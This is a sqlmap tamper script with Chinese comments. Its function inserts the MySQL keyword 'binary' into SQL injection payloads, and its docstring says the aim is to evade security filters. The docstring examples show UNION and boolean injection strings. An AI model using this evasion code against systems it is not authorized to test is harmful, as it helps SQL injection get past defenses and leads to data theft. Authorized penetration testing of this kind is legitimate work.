#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    这个函数用于篡改（tamper）输入的payload，注入MySQL中的关键字'binary'，以尝试绕过某些安全防护措施。

    要求：
        * 仅适用于MySQL数据库。

    示例：
        >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
        '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
        >>> tamper('1 AND 2>1')
        '1 AND binary 2>binary 1'
        >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
        'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
    """

    retVal = payload # 初始化返回值

    if payload: # 如果payload不为空
        retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) # 替换NULL为binary NULL
        retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)# 在THEN和ELSE后的数字或十六进制值前添加binary关键字
        retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)# 在数字比较操作中添加binary关键字
        retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)# 在AND或OR条件后的数字前添加binary关键字
        retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)# 在比较操作符前的数字前添加binary关键字
        retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal)  # 在十六进制值前添加binary关键字
        retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) # 移除多余的binary关键字

    return retVal # 返回篡改后的payload
